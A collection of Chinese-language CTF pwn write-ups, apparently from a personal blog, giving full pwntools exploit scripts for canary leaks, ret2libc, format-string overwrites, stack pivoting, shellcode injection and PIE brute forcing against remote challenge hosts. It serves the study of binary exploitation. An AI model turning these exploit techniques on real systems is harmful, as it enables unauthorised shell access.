[2021 鹤城杯]littleof

libc+canary保护 做了很久终于弄懂了

使用ida打开后发现此处两个read都可以作为溢出点进行栈溢出,但是程序开启了canary保护,所以我们需要绕过canary保护进行栈溢出

v3为canary的值 大小为8个字节位

此时我们可以先编写第一段代码内容,用于获取泄漏的canary值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node4.anna.nssctf.cn',28445)#配置nc连接:node4.anna.nssctf.cn:28445
e=ELF('./littleof')
put_got=e.got['puts']
put_plt=e.plt['puts']

ret=0x40059e
rdi=0x400863
main_add=0x4006E2

#第一轮 canary泄漏
payload1=b'a'*(0x50-8-1)+b'b'
#输入垃圾数据最后结尾是b
p.sendlineafter("overflow?",payload1)
#发送payload1
p.recvuntil(b'ab\n')
#检测到ab\n内容时进行截取 \n是我们在输入的时候打进去的回车符号(大概是这个\n覆盖了canary的\0值,猜的)
canary1=u64(p.recv(7).rjust(8,b'\x00'))
#截取canary的内容不足八位用进行补齐
print('canary1',hex(canary1))
#输出canary1内容进行查看

此时我们已经获取到了第一轮时canary的值,可以用于第二个read进行libc泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
#第一轮 libc泄漏
payload2=b'\x00'+b'a'*(0x50-8-1)+p64(canary1)
#\x00 为机器码
#b'a'*(0x50-8-1) 留8位填入canary的值 绕过保护
payload2+=p64(ret)
payload2+=p64(rdi)
payload2+=p64(put_got)
payload2+=p64(put_plt)
payload2+=p64(main_add)
#返回函数头 进行第二轮的攻击
p.sendlineafter("harder!",payload2)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts_add',hex(puts_add))

此时我们获取到了puts_add的地址信息,此时我们可以在libc-database中寻找对应版本的libc文件,之后既可以进行偏移量的计算从而获取到system和binsh

但是从第二轮开始时canary的值会变,所以我们需要第二次的canary泄漏获取,代码内容和第一轮一致

1
2
3
4
5
payload3=b'a'*(0x50-8-1)+b'b'
p.sendlineafter("overflow?",payload3)
p.recvuntil(b'ab\n')
canary2=u64(p.recv(7).rjust(8,b'\x00'))
print('canary2',hex(canary2))

获取到第二轮的canary值后我们就可以进行最后的提权操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
libc=ELF('./libc6_2.27-3ubuntu1.4_amd64.so')
#对应的libc版本文件
libcbase=puts_add-libc.symbols['puts']
#使用获取到的pust值-libc库中的值,计算偏移量
system_add=libcbase+libc.symbols['system']
#使用偏移量+libc中system的值获取到程序对应的system函数值
binsh_add=libcbase+next(libc.search(b'/bin/sh'))

payload4=b'\x00'+b'a'*(0x50-8-1)+p64(canary1)+b'a'*(8)
payload4+=p64(ret)
payload4+=p64(rdi)
payload4+=p64(binsh_add)
payload4+=p64(system_add)
p.sendlineafter("harder!",payload4)

完成提权操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node4.anna.nssctf.cn',28445)#配置nc连接:node4.anna.nssctf.cn:28445
e=ELF('./littleof')
put_got=e.got['puts']
put_plt=e.plt['puts']

ret=0x40059e
rdi=0x400863
main_add=0x4006E2

#第一轮 canary泄漏
payload1=b'a'*(0x50-8-1)+b'b'
p.sendlineafter("overflow?",payload1)
p.recvuntil(b'ab\n')
canary1=u64(p.recv(7).rjust(8,b'\x00'))
print('canary1',hex(canary1))

#第一轮 libc泄漏
payload2=b'\x00'+b'a'*(0x50-8-1)+p64(canary1)
payload2+=p64(ret)
payload2+=p64(rdi)
payload2+=p64(put_got)
payload2+=p64(put_plt)
payload2+=p64(main_add)
p.sendlineafter("harder!",payload2)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts_add',hex(puts_add))

#第二轮 canary泄漏
payload3=b'a'*(0x50-8-1)+b'b'
p.sendlineafter("overflow?",payload3)
p.recvuntil(b'ab\n')
canary2=u64(p.recv(7).rjust(8,b'\x00'))
print('canary2',hex(canary2))

#第二轮 libc泄漏
libc=ELF('./libc6_2.27-3ubuntu1.4_amd64.so')
libcbase=puts_add-libc.symbols['puts']

system_add=libcbase+libc.symbols['system']
binsh_add=libcbase+next(libc.search(b'/bin/sh'))

payload4=b'\x00'+b'a'*(0x50-8-1)+p64(canary1)+b'a'*(8)
payload4+=p64(ret)
payload4+=p64(rdi)
payload4+=p64(binsh_add)
payload4+=p64(system_add)
p.sendlineafter("harder!",payload4)



p.interactive()#与程序交互


[BJDCTF 2020]babyrop

ida打开后init函数中没有溢出点,vuln函数中存在read溢出点

shift+f12 为查询到有关键字 使用libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import * #引用pwntools库
from LibcSearcher import *
context(log_level='debug',arch='amd64')
p=remote('node4.anna.nssctf.cn',28995)#配置nc连接:node4.anna.nssctf.cn:28995
e=ELF('./babyrop2020')

puts_got=e.got['puts']
puts_plt=e.plt['puts']

ret=0x4004c9
rdi=0x400733
main_add=0x4006AD
payload1=b'a'*(0x20+8)
payload1+=p64(ret)
payload1+=p64(rdi)
payload1+=p64(puts_got)
payload1+=p64(puts_plt)
payload1+=p64(main_add)
p.sendafter("story!\n",payload1)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add',hex(puts_add))

获取到后三位 690 使用网站libc-database 查询

找到对应版本的libc

此时即可计算程序中的偏移值,从而system binsh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import * #引用pwntools库
from LibcSearcher import *
context(log_level='debug',arch='amd64')
p=remote('node4.anna.nssctf.cn',28995)#配置nc连接:node4.anna.nssctf.cn:28995
e=ELF('./babyrop2020')

puts_got=e.got['puts']
puts_plt=e.plt['puts']

ret=0x4004c9
rdi=0x400733
main_add=0x4006AD
payload1=b'a'*(0x20+8)
payload1+=p64(ret)
payload1+=p64(rdi)
payload1+=p64(puts_got)
payload1+=p64(puts_plt)
payload1+=p64(main_add)
p.sendafter("story!\n",payload1)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add',hex(puts_add))


libc=ELF('./libc6_2.20ubuntu11_amd64.so')

libcbase=puts_add-libc.symbols['puts']
system_add=libcbase+libc.symbols['system']
binsh_add=libcbase+next(libc.search(b'/bin/sh'))

payload2=b'a'*(0x20+8)
payload2+=p64(ret)
payload2+=p64(rdi)
payload2+=p64(binsh_add)
payload2+=p64(system_add)
p.sendafter("story!",payload2)

p.interactive()#与程序交互


[HNCTF 2022 Week1]ezr0p32

ida中我们可以看到有两个read 其实第二个是溢出点

shift+f12 我们未发现有关键字信息

system有对应的函数地址我们可以直接使用,此时我们还缺binsh

此时我们发现在第一个read中的buf是全局变量 且在bss字段上

此时我们即可在第一个read中输入/bin/sh

第二个read中进行栈溢出+system函数地址+buf地址信息即可完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import * #引用pwntools库
context(log_level='debug',arch='i386')
p=remote('node5.anna.nssctf.cn',20162)#配置nc连接:node5.anna.nssctf.cn:20162

system=0x80483D0
binsh=0x804A080
p.sendlineafter("your name",'/bin/sh')

payload=b'a'*(0x1C+4)+p64(system)+p64(binsh)

p.sendline(payload)

p.interactive()#与程序交互


[HDCTF 2023]pwnner

进入ida后我们可以看到read输入进去一个数在11行进行随机数比较,但是11行的rand是伪随机数,种子为0x39

得到伪随机224,根据其他师傅将gcc编译后224的值变成1956681178(暂时不知道如何进行转换)

此时我们就进入了read的溢出点

关键字system binsh都有 此时构造payload即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',20456)#配置nc连接:node5.anna.nssctf.cn:


system=0x400610
binsh=0x400A0B
ret=0x40028b
rdi=0x400933
p.sendlineafter("your name:",b'224')
payload=b'a'*(0x40+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
#p.sendlineafter("do next?:",payload)
p.sendline(payload)

p.interactive()#与程序交互


[HNCTF 2022 Week1]ezr0p64

在ida打开后发现puts是直接输出了地址的信息内容

使用int(p.recv(12),16)进行接受

int 型接受12个字符,接受的数据位16进制

接收到程序puts的地址信息后使用libc库中的puts地址进行偏移量计算

即可获取到system函数的地址信息和binsh地址信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import * #引用pwntools库
from LibcSearcher import *
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',22053)#配置nc连接:node5.anna.nssctf.cn:22053
libc=ELF("./libc.so.6")
e = ELF("./ezrop64")
ret=0x40101a
rdi=0x4012a3

p.recvuntil(b'0x')
puts_add = int(p.recv(12),16)

print('puts_add:',hex(puts_add))
libcbase=puts_add-libc.symbols["puts"]
system_add=libcbase+libc.symbols["system"]
binsh=libcbase+next(libc.search(b'/bin/sh'))

payload=b'a'*(0x100+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system_add)

p.sendafter("your rop.\n",payload)

p.interactive()#与程序交互

[BJDCTF 2020]babyrop2

先查看程序开了那些保护

首先程序开了canary,所以第一步我们就需要去泄漏出程序的canary值

在ida中可以查看到,scanf函数限制输入6个字节长度,但是后面的printf可以去进行格式化字符串的操作

另一个函数中有read 函数可以作为溢出点进行溢出

shift+f12观察到并没有关键字binsh和system可以直接使用,此时我们就需要利用puts函数进行libc泄漏

按照目前可以得知我们的exp构造顺序为:通过printf

我们nc连接后使用aa%x$p去测试什么时候可以返回6161,此时我们可以得知aa%6$p可以返回

在gdb中我们可以看到aa%6$p下一行就是canary的值,所以我们使用aa%7$p则可以输出canary的值

所以我们第一段的代码内容为

1
2
3
4
5
6
7
payload1='%6$p'
#gdb.attach(p)

p.sendline(payload1)
p.recvuntil('0x')
canary=int(p.recv(16),16)
print('canary:',hex(canary))

此时我们获取到了canary的值,这个时候我们就可以在第二个函数中去进行libc泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
e=ELF('./adcccc')
puts_got=e.got['puts']
puts_plt=e.plt['puts']
ret=0x4005f9
rdi=0x400993
vul=0x400887
payload2=b'a'*(0x20-8)+p64(canary)+p64(0)+p64(rdi)
#-8是给canary值留位置 rdi是给地址存值的
payload2+=p64(puts_got)
payload2+=p64(puts_plt)
payload2+=p64(vul)
#重新返回vul函数进行第二轮
p.sendafter("me u story!\n",payload2)
puts_add=u64(p.recv(7).ljust(8,b'\x00'))
#截取地址值
print('puts_add:',hex(puts_add))
#输出地址值

此时我们获取到了puts地址值 在https://libc.rip/进行查询

我们也可以不下载文件使用libc中提供的地址信息进行获取system binsh地址

1
2
3
4
5
6
7
8
9
10
11
libcbase=puts_add-0x6f690
#计算偏移量 puts_add是我们获取到的地址 0x6f690是libc中puts对应的地址信息
system_add=libcbase+0x45390
#使用libc中的地址信息进行system的真实地址计算
binsh_add=libcbase+ 0x18cd57

payload3=b'a'*(0x20-8)+p64(canary)+p64(ret)+p64(rdi)
payload3+=p64(binsh_add)
payload3+=p64(system_add)
#进行第二轮攻击获取到程序的sh权限
p.sendafter("me u story!\n",payload3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import * #引用pwntools库
#from LibcSearcher import *
context(log_level='debug',arch='amd64')
p=remote('node4.anna.nssctf.cn',28599)#配置nc连接:node4.anna.nssctf.cn:28599

cat=0x401229
ret=0x40101a
payload1='%6$p'
#gdb.attach(p)

p.sendline(payload1)
p.recvuntil('0x')
canary=int(p.recv(16),16)
print('canary:',hex(canary))


e=ELF('./adcccc')
puts_got=e.got['puts']
puts_plt=e.plt['puts']
ret=0x4005f9
rdi=0x400993
vul=0x400887
payload2=b'a'*(0x20-8)+p64(canary)+p64(0)+p64(rdi)
payload2+=p64(puts_got)
payload2+=p64(puts_plt)
payload2+=p64(vul)
p.sendafter("me u story!\n",payload2)
puts_add=u64(p.recv(7).ljust(8,b'\x00'))
print('puts_add:',hex(puts_add))

libcbase=puts_add-0x6f690
system_add=libcbase+0x45390
binsh_add=libcbase+ 0x18cd57

payload3=b'a'*(0x20-8)+p64(canary)+p64(ret)+p64(rdi)
payload3+=p64(binsh_add)
payload3+=p64(system_add)

p.sendafter("me u story!\n",payload3)

p.interactive()#与程序交互


[UUCTF 2022 新生赛]babystack

简单的栈溢出

ida打开后发现有溢出点 有后面函数,直接进行溢出覆盖返回值即可

1
2
3
4
5
6
7
8
9
10
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',23563)#配置nc连接:node5.anna.nssctf.cn:23563

br=0x400726
payload=b'a'*(0x100+8)+p64(br)

p.sendline(payload)

p.interactive()#与程序交互

[MoeCTF 2021]ret2text_ez

也是同样形式的栈溢出

栈溢出溢出点

后门函数

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',21274)#配置nc连接:node5.anna.nssctf.cn:23563

br=0x401196
payload=b'a'*(0x20+8)+p64(br)

p.sendline(payload)

p.interactive()#与程序交互


[MoeCTF 2022]ret2libc

ida打开后发现除了溢出点,没有其他的关键字内容

进行libc泄漏

1
2
3
4
5
6
7
8
ret=0x40101a
rdi=0x40117e
val_add=0x401183
main_add=0x4011A8
payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add)
p.sendline(payload)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add',hex(puts_add))

构造第一段exp进行libc的泄漏

https://libc.rip/进行对应的版本号查询

获取到对应的版本号后,进行偏移量计算,然后通过偏移量计算出system和binsh的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import * #引用pwntools库
from LibcSearcher import * #引用LibcSearcher库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',26945)#配置nc连接:node5.anna.nssctf.cn:26945
e=ELF("./ret2libc")
puts_plt=e.plt['puts']
puts_got=e.got['puts']

ret=0x40101a
rdi=0x40117e
val_add=0x401183
main_add=0x4011A8
payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add)
p.sendline(payload)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add',hex(puts_add))

libcbase=puts_add-0x84ed0
system=libcbase+0x54d60
binsh=libcbase+0x1dc698
payload1=b'a'*(0x40+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendline(payload1)
p.interactive()#与程序交互

easy_overflow

很明显的栈溢出

close(1);关闭了标准输入

需要使用 p.sendline(‘sh flag’)进行查看flag内容

程序有明显的后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',28791)#配置nc连接:node5.anna.nssctf.cn:22089

br=0x401176
ret=0x40101a
rdi=0x401233
payload=b'a'*(0x10+8)+p64(ret)+p64(br)

p.sendline(payload)
p.sendline('sh flag')
p.interactive()#与程序交互


[HGAME 2022 week1]test your gdb

在work函数中我们可以看到 20行有一段read输入16字节长度的数据,与21行进行对比,在判定成功后我们就可以进入到if的内容中,其中write是输出v6的所有内容,我们可以在这个地方去泄漏出canary的值,24行的gets可以给我们进行栈溢出操作

其中s2是一个程序中的固定数据,可以通过gdb动态调试查看到s2的数据内容

函数对是在work函数中进行的,所以我们在work函数下断点

输入r开始运行

我们单步执行到mecmp对比函数中,此时我们可以看到s2的数据对应的地址是0x7ffff79ffe10,使用x/8gx进行查看数据内容

前16字节内容就是我们输入进去进行比较的内容,此时我们可以构造第一段代码内容

1
2
3
4
5
6
7
8
9
10
v2=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
#将两个数据拼接到一起
p.sendafter(b'pass word\n',v2)
#发送对应的数据内容,让我们进入if函数中
p.recv(0x20 - 0x08)
#过滤掉出去canary值以外的数据内容
canary=u64(p.recv(8))
#接收canary的值
print('canary=',hex(canary))
#输出canary的值

此时我们就获取到的程序的canary值,函数也有明显的后门函数,此时就可以利用泄漏出来的canary值去构造第二部分代码

1
2
3
4
br=0x401256
ret=0x40101a
payload1=b'a'*(0x20-0x08)+p64(canary)+b'a'*(0x08)+p64(ret)+p64(br)
p.sendline(payload1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',22276)#配置nc连接:node5.anna.nssctf.cn:24897

v2=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
p.sendafter(b'pass word\n',v2)
p.recv(0x20 - 0x08)
canary=u64(p.recv(8))
print('canary=',hex(canary))
#p.recv()
#payload=b'a'*(0x20-8)
br=0x401256
ret=0x40101a
payload1=b'a'*(0x20-0x08)+p64(canary)+b'a'*(0x08)+p64(ret)+p64(br)
p.sendline(payload1)
p.interactive()#与程序交互

[CISCN 2019华中]PWN1

在ida中查看可以得知,函数encrypt中存在溢出点,在main函数中可以看到,是第10行的是scanf输入来进行if判断,此时我们输入1即可进入encrypt函数中

我们通过shift+F12查看到程序中没有对应的关键词信息,我们可以得知这题的流程就是:

第一轮,先输入1进入encrypt函数中,再通过栈溢出来获取libc的版本信息

第二轮,先输入1进入encrypt函数中,再通过第一轮泄漏的libc版本信息构造system和binsh,来进行提权操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',20228)#配置nc连接:node5.anna.nssctf.cn:21887

p.sendlineafter("Input your choice!\n",b'1')
#进入encrypt函数

e=ELF("./PWN1")
puts_got=e.got['puts']
puts_plt=e.plt['puts']
main=0x400B28
ret=0x4006b9
rdi=0x400c83

#第一轮
payload1=b'a'*(0x50+8)
payload1+=p64(rdi)
#payload1+=p64(ret)
payload1+=p64(puts_got)
payload1+=p64(puts_plt)
payload1+=p64(main)
p.sendlineafter("encrypted",payload1)
#p.recvuntil(b'Ciphertext')
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#截取puts的地址信息
print('puts_add',hex(puts_add))

libcbase=puts_add-0x809c0
system_add=libcbase+0x4f440
binsh_add=libcbase+0x1b3e9a
p.sendlineafter("Input your choice!\n",b'1')
#利用偏移量去计算出system和binsh的地址信息
payload1=b'a'*(0x50+8)
payload1+=p64(ret)
payload1+=p64(rdi)

payload1+=p64(binsh_add)
payload1+=p64(system_add)
p.sendlineafter("encrypted",payload1)
p.interactive()#与程序交互


[UUCTF 2022 新生赛]easystack

pie爆破

函数有对应的后门函数

有溢出点,但是溢出需要0x100的空间+0x08去返回地址,所以只剩下2字节的长度大小

后三位是保持不变的,但是倒数第四位就需要我们去爆破

原理大概就是倒数第四位我们无法确定,但是一个数再十六进制只有16种情况,所以让程序都尝试一遍就可以试出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',26983)#配置nc连接:node5.anna.nssctf.cn:26983


for num in range(15):
#循环15次
p=remote('node5.anna.nssctf.cn',26983)
#连接远程
p.recvuntil(b"your name?\n")
#等待到程序输出your name?
num=num<<0xc
#一个字节是对于4位数据,所以我们需要尝试出倒数第四位数据,我们就需要去左移动3位
payload=b'a'*(0x100+8)
payload+=p16(0x185+num)
#例如此时num=0x0000,最后结果为0x0185,0x185,0x2185
p.send(payload)
#发送数据
if b"born to pwn!" in p.recv():
#当尝试出正确值的时候,程序会发送born to pwn!,此时就进入了后门函数
p.interactive()
#进行交互
p.close()



[HNCTF 2022 Week1]ezcmp

函数的第16-17行可以看出是输入数据之后进行比对,按照ida中给出的逻辑是不相同执行binsh

strncmp 是相等时返回1

此时我们不知道与buf对比的buff是什么内容

在这边可以看到先是Ayaka_nbbbbbbbbbbbbbbbbb_pluss 字符串内容复制给src,src再复制到buff中,buff再通过enccrypt函数进一步的加密

此时我们可以看到enccrypt函数中使用到了伪随机数,且种子值为1,所以我们可以得知buff的值是一个固定的值并且不会进行改变,所以我们可以通过gdb动态调试看到buff的值内容

在main函数中下断点

我们单步运行到strncmp函数位置,我们可以看到s2是我们输入进去的值,s1是buff值内容赋值到了0x404100 位置,此时我们查看0x404100 地址中的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',22465)#配置nc连接:node5.anna.nssctf.cn:29234


payload=p64(0x144678aadc0e4072)
payload+=p64(0x84b6e81a4c7eb0e2)
payload+=p64(0xf426588abcee2052)
payload+=p64(0x0000c8cb2c5e90c2)
p.sendlineafter("maybe useful\n",payload)

p.interactive()#与程序交互


[HNCTF 2022 WEEK4]ezcanary

ida打开发现有格式化字符串的漏洞

checksec查看到有canary和NX保护,目前思路就是先获取到canary的值

使用aaaa %p %p %p %p %p %p %p %p %p %p %p 查看到程序偏移为6

使用stack可以查看栈中的情况,我们可以看到canary的值在2d,也就是45,再加上程序偏移6,即可得到51,使用%51$p即可通过格式化字符串获取到canary的值

此时在canary的后两位可以看到0x7ffff7c29d90为libc的值

使用vmmap即可看到libc的初始地址

使用distance可以算出libc的基地址,这个偏移地址是不会发生改变的,此时我们的exp逻辑为,通过格式化字符串泄漏canary的值和libc的基地址

payload=b’%51$p.%53$p’

此时我们第一段payload用于格式化字符串漏洞泄漏出canary的值和canary后两字节的libc地址信息

1
2
3
4
5
6
7
8
9
10
11
payload=b'%51$p.%53$p'
p.sendlineafter("Input your name:\n",payload)
canary = int(p.recv(18), 16)
#先接收到canary的值
p.recvuntil(b'.0x')
#直到接收到.0x
libcbase=int(p.recv(16), 16)-0x29d90
#接收到libc值并减去基地址
print('canary',hex(canary))
print('libcbase',hex(libcbase))

此时我们就获得到了canary的值和libc的偏移量

这个时候我们就可以区在第二个溢出点进行栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
system_add=libcbase+e.sym['system']
binsh_add=libcbase+next(e.search(b'/bin/sh'))
#使用偏移量获取system和binsh的真实地址信息
ret=0x40101a
rdi=0x401323
payload2=b'a'*(0x110-8)+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(binsh_add)+p64(system_add)
#b'a'*(0x110-8) 减去canary占的8字节,填充垃圾数据
#p64(canary) 填充canary的值绕过canary保护
#p64(0) 填充rbp,使后面的payload内容覆盖到ret
#p64(ret) 栈平衡
#p64(rdi)+p64(binsh_add) 使用rdi寄存器存值binsh真实地址
p.sendline(payload2)
p.interactive()#与程序交互
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('node5.anna.nssctf.cn',25734)#配置远程连接node5.anna.nssctf.cn:25734
else:
p=process("pwn1")#配置本地连接:
#gdb(p)

e=ELF("./libc.so.6")

payload=b'%51$p.%53$p'
p.sendlineafter("Input your name:\n",payload)

canary = int(p.recv(18), 16)
p.recvuntil(b'.0x')
libcbase=int(p.recv(16), 16)-0x29d90

print('canary',hex(canary))
print('libcbase',hex(libcbase))

system_add=libcbase+e.sym['system']
binsh_add=libcbase+next(e.search(b'/bin/sh'))
ret=0x40101a
rdi=0x401323
payload2=b'a'*(0x110-8)+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(binsh_add)+p64(system_add)
p.sendline(payload2)
p.interactive()#与程序交互

[HGAME 2023 week1]easy_overflow

在ida中查看到程序关闭了标准输入

程序有溢出点且有明显的后门函数,主要问题在于关闭了标准输入,在网上查找 使用sh flag也可以查看到flag内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64')
p=remote('node5.anna.nssctf.cn',23009)#配置nc连接:node5.anna.nssctf.cn:23009

br=0x401176
ret=0x40101a
rdi=0x401233
payload=b'a'*(0x10+8)+p64(ret)+p64(br)

p.sendline(payload)
#p.sendline('sh flag')
p.interactive()#与程序交互


[CISCN 2019华南]PWN4

ida查看第6行、第8行都有溢出点,但是s变量大小为0x28,只能溢出8个字节长度,所以需要使用栈迁移

程序的最后是使用leave进行返回的

leave= move esp,ebp pop ebp

首先我们需要使用第一个read去泄漏ebp的值,并且算出偏移计算出输入点s的地址信息buf,在第二个read中输出binsh,将leave的值修改位buf的值,在程序结束调用buf值信息

1
2
3
4
5
6
payload=b'a'*(0x24)+b'bbbb'
p.sendafter(b'your name?\n',payload)
p.recvuntil(b'bbbb')
rbp=u32(p.recv(4) )
#截取泄漏的ebp值
print('rbp',hex(rbp))

计算ebp距离输入点s的地址距离

使用ebp-0x38=buf地址

接着可以构造第二段payload

1
2
3
4
5
6
7
8
payload2=(p32(0x8048400)+p32(0)+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(0x8048562)
#p32(0x8048400) system函数的地址信息
#p32(0) 垃圾数据
#p32(buf+12) 对应第三个参数的地址信息,给binsh进行传参,类似于rdi
#ljust(0x28,b'a') 使用a补齐0x28位置
#p32(buf-4) 在进行pop操作后buf的值会+4,这边进行-4对齐
#p32(0x8048562) leave的ret地址
p.send(payload2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=0
if ming:
p=remote('node5.anna.nssctf.cn',24332)#配置远程连接node5.anna.nssctf.cn:24332
else:
p=process("./PWN4")#配置本地连接:



payload=b'a'*(0x24)+b'bbbb'
p.sendafter(b'your name?\n',payload)
p.recvuntil(b'bbbb')
rbp=u32(p.recv(4) )
print('rbp',hex(rbp))
#gdb.attach(p)
buf=rbp-0x38

payload2=(p32(0x8048400)+p32(0)+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(0x8048562)
p.send(payload2)
p.interactive()#与程序交互

[CISCN 2019华北]PWN5

ida查看程序main函数中有两个输入点,其中text可以进行栈溢出操作

变量name在bss段上,可读可写可执行

所以我们可以使用在name中输入shellcode,在text中进行栈溢出覆盖返回地址位name的值从而提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('node4.anna.nssctf.cn',28005)#配置远程连接node4.anna.nssctf.cn:28005
else:
p=process("pwn1")#配置本地连接:
#gdb.attach(p)

p.sendafter(b'your name\n',asm(shellcraft.sh()))

payload=b'a'*(0x20+8)+p64(0x601080)

p.sendafter(b'say to me?\n',payload)

p.interactive()#与程序交互

[第五空间2019 决赛]PWN5

使用checksec查看32位有canary保护

open(“/dev/urandom”, 0);打开/dev/urandom文件取值存入fd中,fd复制4字节大小参数给0x804C044这个地址上面

19-20行是有格式化字符串的漏洞,我们输入大量的aaaa %p去查看程序的偏移量

查看到偏移量为10

在第24行if判断用户输入的密码与地址0x804C044进行比对,如果相同则提权

我们可以使用格式化字符串的对0x804C044的值进行修改

1
2
3
4
5
payload1=p32(0x804C044)+b'%10$n'
#使用%10$n去修改0x804C044地址中的值,以为在32位中,0x804C044为4字节使用%10$n修改=4
p.sendlineafter(b'name:',payload1)
p.sendlineafter(b'passwd:',str(4))
#输入密码为4即可

攻防世界pwn1

checksec 查看文件保护 发现有canary和nx

程序中也没用关键字

首先想到使用ret2libc

但是就算将s进行溢出但是也没有大小给我们构造rop,看了别的师傅的wp后发现可以

one_gadget 命令可以看到execve(“/bin/sh”)的基地址信息,此时我们就可以使用偏移值加上基地址就可以进行rop链的构造

所以我们的流程是 泄漏canary->泄漏puts的地址->计算偏移量->提权

首先我们先需要去泄漏他的canary值

我们可以看到v6是canary的值,所以canary对于的地址就是0x90-8

1
2
3
4
5
6
7
8
9
10
11
12
#泄漏canary
p.sendlineafter(b'>> ',b'1')
#进入输入点
payload=b'a'*(0x90-8-4)+b'bbbb'
p.sendline(payload)

p.sendlineafter(b'>> ',b'2')
#进入输出内容
p.recvuntil(b'bbbb\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))
#截取canary的值
print('canary=',hex(canary))

泄漏完canary的值后我们需要进行puts地址的泄漏

1
payload =b'A'*(0x20 +8) +p64(rdi_addr) +p64(elf.got['puts']) +p64(elf.plt["puts"]) +p64(main_addr)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#泄漏puts地址
e=ELF("./babystack")
puts_got=e.got['puts']
puts_plt=e.plt['puts']
libc=ELF("./libc-2.23.so")
ret=0x40067e
rdi=0x400a93
main=0x400908
payload=b'a'*(0x90-8)+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter(b'>> ',b'1')
p.sendline(payload)
p.sendlineafter(b'>> ',b'3')
puts_add=u64(p.recv(6).ljust(8,b'\x00'))
print('puts_add',hex(puts_add))

获得到puts的真实地址后使用题目给的libc文件的puts基地址减去puts的真实地址就可以获取到偏移量

1
2
3
